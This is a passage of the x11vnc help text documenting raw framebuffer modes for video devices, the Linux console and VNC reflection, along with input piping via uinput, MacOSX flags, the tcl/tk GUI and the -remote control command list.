- RAWFB_CGA=1 to try a CGA mapping for B=4 (e.g. linux
- vga16fb driver.) Note with low bpp and/or resolution
- VGA and VGA16 modes on the Linux console one's attempt
- to export them via x11vnc can often be thwarted due to
- special color palettes, pixel packings, and even video
- painting buffering. OTOH, often experimenting with the
- RGB masks can yield something recognizable.
-
- VIDEO4LINUX: on Linux some attempt is made to handle
- video devices (webcams or TV tuners) automatically.
- The idea is the WxHxB will be extracted from the
- device itself. So if you do not supply "@WxHxB...
- parameters x11vnc will try to determine them. It first
- tries the v4l API if that support has been compiled in.
- Otherwise it will run the v4l-info(1) external program
- if it is available.
-
- The simplest examples are "-rawfb video" and "-rawfb
- video1" which imply the device file /dev/video and
- /dev/video1, respectively. You can also supply the
- /dev if you like, e.g. "-rawfb /dev/video0"
-
- Since the video capture device framebuffer usually
- changes continuously (e.g. brightness fluctuations),
- you may want to use the -wait, -slow_fb, or -defer
- options to lower the "framerate" to cut down on
- network VNC traffic.
-
- A more sophisticated video device scheme allows
- initializing the device's settings using:
-
- -rawfb video:<settings>
-
- The prefix could also be, as above, e.g. "video1:" to
- specify the device file. The v4l API must be available
- for this to work. Otherwise, you will need to try
- to initialize the device with an external program,
- e.g. xawtv, spcaview, and hope they persist when x11vnc
- re-opens the device.
-
- <settings> is a comma separated list of key=value pairs.
- The device's brightness, color, contrast, and hue can
- be set to percentages, e.g. br=80,co=50,cn=44,hu=60.
-
- The device filename can be set too if needed (if it
- does not start with "video"), e.g. fn=/dev/qcam.
-
- The width, height and bpp of the framebuffer can be
- set via, e.g., w=160,h=120,bpp=16.
-
- Related to the bpp above, the pixel format can be set
- via the fmt=XXX, where XXX can be one of: GREY, HI240,
- RGB555, RGB565, RGB24, and RGB32 (with bpp 8, 8, 16, 16,
- 24, and 32 respectively). See http://www.linuxtv.org
- for more info (V4L api).
-
- For TV/rf tuner cards one can set the tuning mode
- via tun=XXX where XXX can be one of PAL, NTSC, SECAM,
- or AUTO.
-
- One can switch the input channel by the inp=XXX setting,
- where XXX is the name of the input channel (Television,
- Composite1, S-Video, etc). Use the name that is in the
- information about the device that is printed at startup.
-
- For input channels with tuners (e.g. Television) one
- can change which station is selected by the sta=XXX
- setting. XXX is the station number. Currently only
- the ntsc-cable-us (US cable) channels are built into
- x11vnc. See the -freqtab option below to supply one
- from xawtv. If XXX is greater than 500, then it is
- interpreted as a raw frequency in KHz.
-
- Example:
-
- -rawfb video:br=80,w=320,h=240,fmt=RGB32,tun=NTSC,sta=47
-
- one might need to add inp=Television too for the input
- channel to be TV if the card doesn't come up by default
- in that one.
-
- Note that not all video capture devices will support
- all of the above settings.
-
- See the -pipeinput VID option below for a way to control
- the settings through the VNC Viewer via keystrokes.
- As a shortcut, if the string begins "Video.." instead
- of "video.." then -pipeinput VID is implied.
-
- As above, if you specify a "@WxHxB..." after the
- <settings> string they are used verbatim: the device
- is not queried for the current values. Otherwise the
- device will be queried.
-
- LINUX CONSOLE: The following describes some ways to
- view and possibly interact with the Linux text/graphics
- console (i.e. not X11 XFree86/Xorg)
-
- Note: If the LibVNCServer LinuxVNC program is on your
- system you may want to use that instead of the following
- method because it will be faster and more accurate
- for the Linux text console and includes mouse support.
- There is, however, the basic LinuxVNC functionality in
- x11vnc if you replace "console" with "vt" in the
- examples below.
-
- If the rawfb string begins with "console" the
- framebuffer device /dev/fb0 is opened and /dev/tty0 is
- opened too. The latter is used to inject keystrokes
- (not all are supported, but the basic ones are).
- You will need to be root to inject keystrokes, but
- not necessarily to open /dev/fb0. /dev/tty0 refers to
- the active VT, to indicate one explicitly, use, e.g.,
- "console2" for /dev/tty2, etc. by indicating the
- specific VT number.
-
- For the Linux framebuffer device, /dev/fb0, (fb1,
- etc) to be enabled the appropriate kernel drivers must
- be loaded. E.g. vesafb or vga16fb and also by setting
- the boot parameter vga=0x301 (or 0x314, 0x317, etc.)
- (The vga=... method is the preferred way; set your
- machines up that way.) Otherwise there will be a
- 'No such device' error. You can also load a Linux
- framebuffer driver specific to your make of video card
- for more functionality. Once the machine is booted one
- can often 'modprobe' the fb driver as root to obtain
- a framebuffer device.
-
- If you cannot get /dev/fb0 working on Linux, try
- using the LinuxVNC emulation mode by "-rawfb vtN"
- where N = 1, ... 6 is the Linux Virtual Terminal (aka
- virtual console) you wish to view, e.g. "-rawfb vt2".
- Unlike /dev/fb mode, it need not be the active Virtual
- Terminal. Note that this mode can only show text and
- not graphics. x11vnc polls the text in /dev/vcsaN
-
- Set the env. var. RAWFB_VCSA_BW=1 to disable colors in
- the "vtN" mode (i.e. black and white only.) If you
- do not prefer the default 16bpp set RAWFB_VCSA_BPP to
- 8 or 32. If you need to tweak the rawfb parameters by
- using the 'console_guess' string printed at startup,
- be sure to indicate the snap: method.
-
- uinput: If the Linux version appears to be 2.6
- or later and the "uinput" module appears to be
- present (modprobe uinput), then the uinput method
- will be used instead of /dev/ttyN. uinput allows
- insertion of BOTH keystrokes and mouse input and so it
- preferred when accessing graphical (e.g. QT-embedded)
- linux console apps. It also provides more accurate
- keystroke insertion. See -pipeinput UINPUT below for
- more information on this mode; you will have to use
- -pipeinput if you want to tweak any UINPUT parameters.
- You may also want to also use the -nodragging and
- -cursor none options. Use "console0", etc or
- -pipeinput CONSOLE to force the /dev/ttyN method.
-
- Note you can change the Linux VT remotely using the
- chvt(1) command to make the one you want be the active
- one (e.g. 'chvt 3'). Sometimes switching out and back
- corrects the framebuffer's graphics state. For the
- "-rawfb vtN" mode there is no need to switch the VT's.
-
- To skip input injecting entirely use "consolex"
- or "vtx".
-
- The string "/dev/fb0" (1, etc.) can be used instead
- of "console". This can be used to specify a different
- framebuffer device, e.g. /dev/fb1. As a shortcut the
- "/dev/" can be dropped. If the name is something
- nonstandard, use "console:/dev/foofb"
-
- If you do not want x11vnc to guess the framebuffer's
- WxHxB and masks automatically (sometimes the kernel
- gives incorrect information), specify them with a @WxHxB
- (and optional :R/G/B masks) at the end of the string.
-
- Examples:
- -rawfb console
- -rawfb /dev/fb0 (same)
- -rawfb console3 (force /dev/tty3)
- -rawfb consolex (no keystrokes or mouse)
- -rawfb console:/dev/nonstd
- -rawfb console -pipeinput UINPUT:accel=4.0
- -rawfb vt3 (/dev/tty3 w/o /dev/fb0)
-
- VNC HOST: if the -rawfb string is of the form
- "vnc:host:N" then the VNC display "N" on the remote
- VNC server "host" is connected to (i.e. x11vnc acts as
- a VNC client itself) and that framebuffer is exported.
-
- This mode is really only of use if you are trying
- to improve performance in the case of many (e.g. >
- 10) simultaneous VNC viewers, and you try a divide
- and conquer scheme to reduce bandwidth and improve
- responsiveness. (However, another user found this mode
- useful to export a demo display through a slow link:
- then multiple demo viewers connected to the reflecting
- x11vnc on the fast side of the link, and so avoided
- all of the demo viewers going through the slow link.)
-
- For example, if there will be 64 simultaneous VNC
- viewers this can lead to a lot of redundant VNC traffic
- to and from the server host:N, extra CPU usage,
- and all viewers response can be reduced by having
- to wait for writes to the slowest client to finish.
- However, if you set up 8 reflectors/repeaters started
- with option -rawfb vnc:host:N, then there are only
- 8 connections to host:N. Each repeater then handles
- 8 vnc viewer connections thereby spreading the load
- around. In classroom broadcast usage, try to put the
- repeaters on different switches. This mode is the same
- as -reflect host:N. Replace "host:N" by "listen"
- or "listen:port" for a reverse connection.
-
- Overall performance will not be as good as a single
- direct connection because, among other things,
- there is an additional level of framebuffer polling
- and pointer motion can still induce many changes per
- second that must be propagated. Tip: if the remote VNC
- is x11vnc doing wireframing, or an X display that does
- wireframing that gives much better response than opaque
- window dragging. Consider the -nodragging option if
- the problem is severe.
-
- The env. var. X11VNC_REFLECT_PASSWORD can be set to
- the password needed to log into the vnc host server, or
- to "file:path_to_file" to indicate a file containing
- the password as its first line.
-
- To set the pixel format that x11vnc requests as a VNC
- CLIENT set the env. vars: X11VNC_REFLECT_bitsPerSample
- X11VNC_REFLECT_samplesPerPixel, and
- X11VNC_REFLECT_bytesPerPixel; the defaults are 8, 3, 4.
- 2, 3, 1 would give a low color mode. See the function
- rfbGetClient() in libvncclient for more info.
-
- The VNC HOST mode implies -shared. Use -noshared as
- a subsequent cmdline option to disable sharing.
-
--freqtab file For use with "-rawfb video" for TV tuner devices to
- specify station frequencies. Instead of using the built
- in ntsc-cable-us mapping of station number to frequency,
- use the data in file. For stations that are not
- numeric, e.g. SE20, they are placed above the highest
- numbered station in the order they are found. Example:
- "-freqtab /usr/X11R6/share/xawtv/europe-west.list"
- You can make your own freqtab by copying the xawtv
- format.
-
--pipeinput cmd This option lets you supply an external command in
- "cmd" that x11vnc will pipe all of the user input
- events to in a simple format. In -pipeinput mode by
- default x11vnc will not process any of the user input
- events. If you prefix "cmd" with "tee:" it will
- both send them to the pipe command and process them.
- For a description of the format run "-pipeinput
- tee:/bin/cat". Another prefix is "reopen" which
- means to reopen pipe if it exits. Separate multiple
- prefixes with commas.
-
- In combination with -rawfb one might be able to
- do amusing things (e.g. control non-X devices).
- To facilitate this, if -rawfb is in effect then the
- value is stored in X11VNC_RAWFB_STR for the pipe command
- to use if it wants. Do 'env | grep X11VNC' for more.
-
- Built-in pipeinput modes (no external program required):
-
- If cmd is "VID" and you are using the -rawfb for a
- video capture device, then an internal list of keyboard
- mappings is used to set parameters of the video.
- The mappings are:
-
- "B" and "b" adjust the brightness up and down.
- "H" and "h" adjust the hue.
- "C" and "c" adjust the colour.
- "N" and "n" adjust the contrast.
- "S" and "s" adjust the size of the capture screen.
- "I" and "i" cycle through input channels.
- Up and Down arrows adjust the station (if a tuner)
- F1, F2, ..., F6 will switch the video capture pixel
- format to HI240, RGB565, RGB24, RGB32, RGB555, and
- GREY respectively. See -rawfb video for details.
-
- If cmd is "CONSOLE" or "CONSOLEn" where n
- is a Linux console number, then the linux console
- keystroke insertion to /dev/ttyN (see -rawfb console)
- is performed.
-
- If cmd begins with "UINPUT" then the Linux uinput
- module is used to insert both keystroke and mouse events
- to the Linux console (see -rawfb above). This usually
- is the /dev/input/uinput device file (you may need to
- create it with "mknod /dev/input/uinput c 10 223"
- and insert the module with "modprobe uinput".
-
- The UINPUT mode currently only does US keyboards (a
- scan code option may be added), and not all keysyms
- are supported. But it is probably more accurate than
- the "CONSOLE" method.
-
- You may want to use the options -cursor none and
- -nodragging in this mode.
-
- Additional tuning options may be supplied via:
- UINPUT:opt1,opt2,... (a comma separated list). If an
- option begins with "/" it is taken as the uinput
- device file.
-
- Which uinput is injected can be controlled by an option
- string made of the characters "K", "M", and "B"
- (see the -input option), e.g. "KM" allows keystroke
- and motion but not button clicks.
-
- A UINPUT option of the form: accel=f, or accel=fx+fy
- sets the mouse motion "acceleration". This is used
- to correct raw mouse relative motion into how much the
- application cursor moves (x11vnc has no control over,
- or knowledge of how the windowing application interprets
- the raw mouse motions). Typically the acceleration
- for an X display is 2 (see xset "m" option). "f"
- is a floating point number, e.g. 3.0. Use "fx+fy"
- if you need to supply different corrections for x and y.
-
- Note: the default acceleration is 2.0 since it seems
- both X and qt-embedded often (but not always) use
- this value.
-
- Even with a correct accel setting the mouse position
- will get out of sync (probably due to a mouse
- "threshold" setting where the acceleration doe not
- apply, set xset(1)). The option reset=N sets the
- number of ms (default 150) after which the cursor is
- attempted to be reset (by forcing the mouse to (0,
- 0) via small increments and then back out to (x, y)
- in 1 jump), This correction seems to be needed but can
- cause jerkiness or unexpected behavior with menus, etc.
- Use reset=0 to disable.
-
- If you set the env. var X11VNC_UINPUT_THRESHOLDS then
- the thresh=n mode will be enabled. It is currently
- not working well. If |dx| <= thresh and |dy| < thresh
- no acceleration is applied. Use "thresh=+n" |dx| +
- |dy| < thresh to be used instead (X11?)
-
- Example:
- -pipeinput UINPUT:accel=4.0 -cursor none
-
- If the uinput device has an absolute pointer (as opposed
- to a normal mouse that is a relative pointer) you can
- specify the option "abs". Note that a touchpad
- on a laptop is an absolute device to some degree.
- This (usually) avoids all the problems with mouse
- acceleration. If x11vnc has trouble deducing the
- size of the device, use "abs=WxH". Furthermore,
- if the device is a touchscreen (assumed to have an
- absolute pointer) use "touch" or "touch=WxH".
- For touchscreens, when a mouse button is pressed,
- a pressure increase is injected, and when the button
- is released a pressure of zero is injected.
-
- If touch has been set, use "touch_always=1" to
- indicate whenever the mouse moves with no button
- pressed, a touch event of zero pressure should be
- sent anyway. Also use "btn_touch=1" to indicate a
- BTN_TOUCH keystroke press or release should be sent
- instead of a pressure change. Set "dragskip=n" to
- skip n dragged mouse touches (with pressure applied)
- before injecting one. To indicate the pressure that
- should be sent when there is a button click for a
- touchscreen device, specify pressure=n, e.g. n=5. The
- default is n=1.
-
- If a touch screen is being used ("touch" above)
- and it is having its input processed by tslib, you can
- specify the tslib calibration file via tslib_cal=<file>.
- For example, tslib_cal=/etc/pointercal. To get accurate
- or even usable positioning this is required when tslib
- is in use.
-
- The Linux uinput mechanism can be bypassed and one can
- write input events DIRECTLY to the devices instead.
- To do this, specify one or more of the following
- for the input classes: direct_rel=<device>
- direct_abs=<device> direct_btn=<device> or
- direct_key=<device>. The <device> file is usually
- something like /dev/input/event1 but you can specify
- any device file or pipe. You must specify each one
- of the above classes even if they correspond to the
- same device file (rel/abs and btn are often the same.)
- Look at the file /proc/bus/input/devices to get an idea
- what is available and the device filenames. Note:
- The /dev/input/mouse* devices do not seem to work,
- use the corresponding /dev/input/event* file instead.
- Any input class not directly specified as above will be
- handled via the uinput mechanism. To disable creating a
- uinput device (and thereby discarding unhandled input),
- specify "nouinput".
-
- Examples:
-
- -pipeinput UINPUT:direct_abs=/dev/input/event1
-
- this was used on a qtmoko Neo freerunner (armel):
-
- -pipeinput UINPUT:touch,tslib_cal=/etc/pointercal,
- direct_abs=/dev/input/event1,nouinput,dragskip=4
-
- (where the long line has been split into two.)
-
- You can set the env. var X11VNC_UINPUT_DEBUG=1 or higher
- to get debugging output for UINPUT mode.
-
--macnodim For the native MacOSX server, disable dimming.
--macnosleep For the native MacOSX server, disable display sleep.
--macnosaver For the native MacOSX server, disable screensaver.
--macnowait For the native MacOSX server, do not wait for the
- user to switch back to his display.
--macwheel n For the native MacOSX server, set the mouse wheel
- speed to n (default 5).
--macnoswap For the native MacOSX server, do not swap mouse
- buttons 2 and 3.
--macnoresize For the native MacOSX server, do not resize or reset
- the framebuffer even if it is detected that the screen
- resolution or depth has changed.
--maciconanim n For the native MacOSX server, set n to the number
- of milliseconds that the window iconify/deiconify
- animation takes. In -ncache mode this value will be
- used to skip the animation if possible. (default 400)
--macmenu For the native MacOSX server, in -ncache client-side
- caching mode, try to cache pull down menus (not perfect
- because they have animated fades, etc.)
--macuskbd For the native MacOSX server, use the original
- keystroke insertion code based on a US keyboard.
--macnoopengl For the native MacOSX server, do not use OpenGL for
- screen capture, but rather use the original, deprecated
- raw memory access method: addr = CGDisplayBaseAddress().
--macnorawfb For the native MacOSX server, disable the raw memory
- address screen capture method.
-
- MACOSX NOTE: There are some deprecated MacOSX interfaces
- to inject keyboard and mouse events and the raw memory
- access method is deprecated as well (however, OpenGL
- will be preferred if available because it is faster.)
- One can force not using any deprecated interfaces at
- compile time by setting -DX11VNC_MACOSX_NO_DEPRECATED=1
- in CPPFLAGS. Or to turn them off one by one:
- -DX11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1,
- -DX11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1 or
- -DX11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1
- At run time, for testing and workarounds, one can
- disable them by using:
- -env X11VNC_MACOSX_NO_DEPRECATED=1
- -env X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1
- -env X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1 or
- -env X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1
- Note: When doing either of these for the mouse input
- not everything works currently, e.g. double clicks and
- wireframing. Also, screen resolution and pixel depth
- changes will not be automatically detected unless the
- deprecated framebuffer interfaces are allowed.
-
- Conversely, if you are compiling on an
- older machine that does not have some of
- the newer interfaces, you may need to specify
- -DX11VNC_MACOSX_NO_CGEVENTCREATESCROLLWHEELEVENT
- -DX11VNC_MACOSX_NO_CGEVENTCREATEMOUSEEVENT or
- -DX11VNC_MACOSX_NO_CGEVENTCREATEKEYBOARDEVENT. Use
- -DX11VNC_MACOSX_USE_GETMAINDEVICE to regain the very
- old QuickDraw GetMainDevice() interface (rare...)
-
--gui [gui-opts] Start up a simple tcl/tk gui based on the remote
- control options -remote/-query described below.
- Requires the "wish" program to be installed on the
- machine. "gui-opts" is not required: the default
- is to start up both the full gui and x11vnc with the
- gui showing up on the X display in the environment
- variable DISPLAY.
-
- "gui-opts" can be a comma separated list of items.
- Currently there are these types of items: 1) a gui
- mode, a 2) gui "simplicity", 3) the X display the
- gui should display on, 4) a "tray" or "icon" mode,
- and 5) a gui geometry.
-
- 1) The gui mode can be "start", "conn", or "wait"
- "start" is the default mode above and is not required.
- "conn" means do not automatically start up x11vnc,
- but instead just try to connect to an existing x11vnc
- process. "wait" means just start the gui and nothing
- else (you will later instruct the gui to start x11vnc
- or connect to an existing one.)
-
- 2) The gui simplicity is off by default (a power-user
- gui with all options is presented) To start with
- something less daunting supply the string "simple"
- ("ez" is an alias for this). Once the gui is
- started you can toggle between the two with "Misc ->
- simple_gui".
-
- 3) Note the possible confusion regarding the potentially
- two different X displays: x11vnc polls one, but you
- may want the gui to appear on another. For example, if
- you ssh in and x11vnc is not running yet you may want
- the gui to come back to you via your ssh redirected X
- display (e.g. localhost:10).
-
- If you do not specify a gui X display in "gui-opts"
- then the DISPLAY environment variable and -display
- option are tried (in that order). Regarding the x11vnc
- X display the gui will try to communication with, it
- first tries -display and then DISPLAY. For example,
- "x11vnc -display :0 -gui otherhost:0", will remote
- control an x11vnc polling :0 and display the gui on
- otherhost:0 The "tray/icon" mode below reverses this
- preference, preferring to display on the x11vnc display.
-
- 4) When "tray" or "icon" is specified, the gui
- presents itself as a small icon with behavior typical
- of a "system tray" or "dock applet". The color
- of the icon indicates status (connected clients) and
- there is also a balloon status. Clicking on the icon
- gives a menu from which properties, etc, can be set and
- the full gui is available under "Advanced". To be
- fully functional, the gui mode should be "start"
- (the default).
-
- Note that tray or icon mode will imply the -forever
- x11vnc option (if the x11vnc server is started along
- with the gui) unless -connect or -connect_or_exit has
- been specified. So x11vnc (and the tray/icon gui)
- will wait for more connections after the first client
- disconnects. If you want only one viewer connection
- include the -once option.
-
- For "icon" the gui just a small standalone window.
- For "tray" it will attempt to embed itself in the
- "system tray" if possible. If "=setpass" is appended the
-n
- at startup the X11 user will be prompted to set the
- VNC session password. If =<hexnumber> is appended
- that icon will attempt to embed itself in the window
- given by hexnumber. Use =noadvanced to disable the
- full gui. (To supply more than one, use "+" sign).
- E.g. -gui tray=setpass and -gui icon=0x3600028
-
- Other modes: "full", the default and need not be
- specified. "-gui none", do not show a gui, useful
- to override a ~/.x11vncrc setting, etc.
-
- 5) When "geom=+X+Y" is specified, that geometry
- is passed to the gui toplevel. This is the icon in
- icon/tray mode, or the full gui otherwise. You can
- also specify width and height, i.e. WxH+X+Y, but it
- is not recommended. In "tray" mode the geometry is
- ignored unless the system tray manager does not seem
- to be running. One could imagine using something like
- "-gui tray,geom=+4000+4000" with a display manager
- to keep the gui invisible until someone logs in...
-
- More icon tricks, "icon=minimal" gives an icon just
- with the VNC display number. You can also set the font
- with "iconfont=...". The following could be useful:
- "-gui icon=minimal,iconfont=5x8,geom=24x10+0-0"
-
- General examples of the -gui option: "x11vnc -gui",
- "x11vnc -gui ez" "x11vnc -gui localhost:10",
- "x11vnc -gui conn,host:0", "x11vnc -gui tray,ez"
- "x11vnc -gui tray=setpass"
-
- If you do not intend to start x11vnc from the gui
- (i.e. just remote control an existing one), then the
- gui process can run on a different machine from the
- x11vnc server as long as X permissions, etc. permit
- communication between the two.
-
- FONTS: On some systems the tk fonts can be too small,
- jagged, or otherwise unreadable. There are 4 env vars
- you can set to be the tk font you prefer:
-
- X11VNC_FONT_BOLD main font for menus and buttons.
- X11VNC_FONT_FIXED font for fixed width text.
-
- X11VNC_FONT_BOLD_SMALL tray icon font.
- X11VNC_FONT_REG_SMALL tray icon menu font.
-
- The last two only apply for the tray icon mode.
-
- Here are some examples:
-
- -env X11VNC_FONT_BOLD='Helvetica -16 bold'
- -env X11VNC_FONT_FIXED='Courier -14'
- -env X11VNC_FONT_REG_SMALL='Helvetica -12'
-
- You can put the lines like the above (without the
- quotes) in your ~/.x11vncrc file to avoid having to
- specify them on the x11vnc command line.
-
--remote command Remotely control some aspects of an already running
- x11vnc server. "-R" and "-r" are aliases for
- "-remote". After the remote control command is
- sent to the running server the 'x11vnc -remote ...'
- x11vnc command exits. You can often use the -query
- command (see below) to see if the x11vnc server
- processed your -remote command.
-
- The default communication channel is that of X
- properties (specifically X11VNC_REMOTE), and so this
- command must be run with correct settings for DISPLAY
- and possibly XAUTHORITY to connect to the X server
- and set the property. Alternatively, use the -display
- and -auth options to set them to the correct values.
- The running server cannot use the -novncconnect option
- because that disables the communication channel.
- See below for alternate channels.
-
- For example: 'x11vnc -remote stop' (which is the same as
- 'x11vnc -R stop') will close down the x11vnc server.
- 'x11vnc -R shared' will enable shared connections, and
- 'x11vnc -R scale:3/4' will rescale the desktop.
-
- To use a different name for the X11 property (e.g. to
- have separate communication channels for multiple
- x11vnc's on the same display) set the X11VNC_REMOTE
- environment variable to the string you want, for
- example: -env X11VNC_REMOTE=X11VNC_REMOTE_12345
- Both sides of the channel must use the same unique name.
-
- To run a bunch of commands in a sequence use something
- like: x11vnc -R 'script:firstcmd;secondcmd;...'
-
- Use x11vnc -R script:file=/path/to/file to read commands
- from a file (can be multi-line and use the comment '#'
- character in the normal way. The ';' separator must
- still be used to separate each command.)
-
- To not try to contact another x11vnc process and instead
- just run the command (or query) directly, prefix the
- command with the string "DIRECT:"
-
- The following -remote/-R commands are supported:
-
- stop terminate the server, same as "quit"
- "exit" or "shutdown".
- ping see if the x11vnc server responds.
- return is: ans=ping:<display>
- ping:mystring as above, but use your own unique string
-.
- return is: ans=ping:mystring:<xdisplay>
- blacken try to push a black fb update to all
- clients (due to timings a client
- could miss it). Same as "zero", also
- "zero:x1,y1,x2,y2" for a rectangle.
- refresh send the entire fb to all clients.
- reset recreate the fb, polling memory, etc.
- id:windowid set -id window to "windowid". empty
- or "root" to go back to root window
- sid:windowid set -sid window to "windowid"
- id_cmd:cmd cmds: raise, lower, map, unmap, iconify,
- move:dXdY, resize:dWdH, geom:WxH+X+Y. dX
- dY, dW, and dH must have a leading "+"
- or "-" e.g.: move:-30+10 resize:+20+35
- also: wm_delete, wm_name:string and
- icon_name:string. Also id_cmd:win=N:cmd
- waitmapped wait until subwin is mapped.
- nowaitmapped do not wait until subwin is mapped.
- clip:WxH+X+Y set -clip mode to "WxH+X+Y"
- flashcmap enable -flashcmap mode.
- noflashcmap disable -flashcmap mode.
- shiftcmap:n set -shiftcmap to n.
- notruecolor enable -notruecolor mode.
- truecolor disable -notruecolor mode.
- overlay enable -overlay mode (if applicable).
- nooverlay disable -overlay mode.
- overlay_cursor in -overlay mode, enable cursor drawing.
- overlay_nocursor disable cursor drawing. same as
- nooverlay_cursor.
- 8to24 enable -8to24 mode (if applicable).
- no8to24 disable -8to24 mode.
- 8to24_opts:str set the -8to24 opts to "str".
- 24to32 enable -24to32 mode (if applicable).
- no24to32 disable -24to32 mode.
- visual:vis set -visual to "vis"
- scale:frac set -scale to "frac"
- scale_cursor:f set -scale_cursor to "f"
- viewonly enable -viewonly mode.
- noviewonly disable -viewonly mode.
- shared enable -shared mode.
- noshared disable -shared mode.
- forever enable -forever mode.
- noforever disable -forever mode.
- timeout:n reset -timeout to n, if there are
- currently no clients, exit unless one
- connects in the next n secs.
- tightfilexfer enable filetransfer for NEW clients.
- notightfilexfer disable filetransfer for NEW clients.
- ultrafilexfer enable filetransfer for clients.
- noultrafilexfer disable filetransfer for clients.
- rfbversion:n.m set -rfbversion for new clients.
- http enable http client connections.
- nohttp disable http client connections.
- deny deny any new connections, same as "lock"
- nodeny allow new connections, same as "unlock"
- avahi enable avahi service advertising.
- noavahi disable avahi service advertising.
- mdns enable avahi service advertising.
- nomdns disable avahi service advertising.
- zeroconf enable avahi service advertising.
- nozeroconf disable avahi service advertising.
- connect:host do reverse connection to host, "host"
- may be a comma separated list of hosts
- or host:ports. See -connect. Passwords
- required as with fwd connections.
- See X11VNC_REVERSE_CONNECTION_NO_AUTH=1
- disconnect:host disconnect any clients from "host"
- same as "close:host". Use host
- "all" to close all current clients.
- If you know the client internal hex ID,
- e.g. 0x3 (returned by "-query clients"
- and RFB_CLIENT_ID) you can use that too.
- proxy:host:port set reverse connection proxy (empty to
- disable).
- allowonce:host For the next connection only, allow
- connection from "host". In -ssl mode
- two connections are allowed (i.e. Fetch
- Cert) unless X11VNC_NO_SSL_ALLOW_TWICE=1
- allow:hostlist set -allow list to (comma separated)
- "hostlist". See -allow and -localhost.
- Do not use with -allow /path/to/file
- Use "+host" to add a single host, and
- use "-host" to delete a single host
- localhost enable -localhost mode
- nolocalhost disable -localhost mode
- listen:str set -listen to str, empty to disable.
- noipv6 enable -noipv6 mode.
- ipv6 disable -noipv6 mode.
- noipv4 enable -noipv4 mode.
- ipv4 disable -noipv4 mode.
- 6 enable -6 IPv6 listening mode.
- no6 disable -6 IPv6 listening mode.
- lookup disable -nolookup mode.
- nolookup enable -nolookup mode.
- lookup disable -nolookup mode.
- input:str set -input to "str", empty to disable.
- grabkbd enable -grabkbd mode.
- nograbkbd disable -grabkbd mode.
- grabptr enable -grabptr mode.
- nograbptr disable -grabptr mode.
- grabalways enable -grabalways mode.
- nograbalways disable -grabalways mode.
- grablocal:n set -grablocal to n.
- client_input:str set the K, M, B -input on a per-client
- basis. select which client as for
- disconnect, e.g. client_input:host:MB
- or client_input:0x2:K
- accept:cmd set -accept "cmd" (empty to disable).
- afteraccept:cmd set -afteraccept (empty to disable).
- gone:cmd set -gone "cmd" (empty to disable).
- noshm enable -noshm mode.
- shm disable -noshm mode (i.e. use shm).
- flipbyteorder enable -flipbyteorder mode, you may need
- to set noshm for this to do something.
- noflipbyteorder disable -flipbyteorder mode.
- onetile enable -onetile mode. (you may need to
- set shm for this to do something)
- noonetile disable -onetile mode.
- solid enable -solid mode
- nosolid disable -solid mode.
- solid_color:color set -solid color (and apply it).
- blackout:str set -blackout "str" (empty to disable).
- See -blackout for the form of "str"
- (basically: WxH+X+Y,...)
- Use "+WxH+X+Y" to append a single
- rectangle use "-WxH+X+Y" to delete one
- xinerama enable -xinerama mode. (if applicable)
- noxinerama disable -xinerama mode.
- xtrap enable -xtrap input mode(if applicable)
- noxtrap disable -xtrap input mode.
- xrandr enable -xrandr mode. (if applicable)
- noxrandr disable -xrandr mode.
- xrandr_mode:mode set the -xrandr mode to "mode".
- rotate:mode set the -rotate mode to "mode".
- padgeom:WxH set -padgeom to WxH (empty to disable)
- If WxH is "force" or "do" the padded
- geometry fb is immediately applied.
- quiet enable -quiet mode.
- noquiet disable -quiet mode.
- modtweak enable -modtweak mode.
- nomodtweak enable -nomodtweak mode.
- xkb enable -xkb modtweak mode.
- noxkb disable -xkb modtweak mode.
- capslock enable -capslock mode.
- nocapslock disable -capslock mode.
- skip_lockkeys enable -skip_lockkeys mode.
- noskip_lockkeys disable -skip_lockkeys mode.
- skip_keycodes:str enable -xkb -skip_keycodes "str".
- sloppy_keys enable -sloppy_keys mode.
- nosloppy_keys disable -sloppy_keys mode.
- skip_dups enable -skip_dups mode.
- noskip_dups disable -skip_dups mode.
- add_keysyms enable -add_keysyms mode.
- noadd_keysyms stop adding keysyms. those added will
- still be removed at exit.
- clear_mods enable -clear_mods mode and clear them.
- noclear_mods disable -clear_mods mode.
- clear_keys enable -clear_keys mode and clear them.
- noclear_keys disable -clear_keys mode.
- clear_locks do the clear_locks action.
- clear_all do the clear_all action.
- keystate have x11vnc print current keystate.
- remap:str set -remap "str" (empty to disable).
- See -remap for the form of "str"
- (basically: key1-key2,key3-key4,...)
- Use "+key1-key2" to append a single
- keymapping, use "-key1-key2" to delete.
- norepeat enable -norepeat mode.
- repeat disable -norepeat mode.
- nofb enable -nofb mode.
- fb disable -nofb mode.
- bell enable bell (if supported).
- nobell disable bell.
- sendbell ring the bell now.
- nosel enable -nosel mode.
- sel disable -nosel mode.
- noprimary enable -noprimary mode.
- primary disable -noprimary mode.
- nosetprimary enable -nosetprimary mode.
- setprimary disable -nosetprimary mode.
- noclipboard enable -noclipboard mode.
- clipboard disable -noclipboard mode.
- nosetclipboard enable -nosetclipboard mode.
- setclipboard disable -nosetclipboard mode.
- seldir:str set -seldir to "str"
- resend_cutbuffer resend the most recent CUTBUFFER0 copy
- resend_clipboard resend the most recent CLIPBOARD copy
- resend_primary resend the most recent PRIMARY copy
- cursor:mode enable -cursor "mode".
- show_cursor enable showing a cursor.
- noshow_cursor disable showing a cursor. (same as
- "nocursor")
- cursor_drag enable cursor changes during drag.
- nocursor_drag disable cursor changes during drag.
- arrow:n set -arrow to alternate n.
- xfixes enable xfixes cursor shape mode.
- noxfixes disable xfixes cursor shape mode.
- alphacut:n set -alphacut to n.
- alphafrac:f set -alphafrac to f.
- alpharemove enable -alpharemove mode.
- noalpharemove disable -alpharemove mode.
- alphablend disable -noalphablend mode.
- noalphablend enable -noalphablend mode.
- cursorshape disable -nocursorshape mode.
- nocursorshape enable -nocursorshape mode.
- cursorpos disable -nocursorpos mode.
- nocursorpos enable -nocursorpos mode.
- xwarp enable -xwarppointer mode.
- noxwarp disable -xwarppointer mode.
- always_inject enable -always_inject mode.
- noalways_inject disable -always_inject mode.
- buttonmap:str set -buttonmap "str", empty to disable
- dragging disable -nodragging mode.
- nodragging enable -nodragging mode.
- ncache reenable -ncache mode.
- noncache disable -ncache mode.
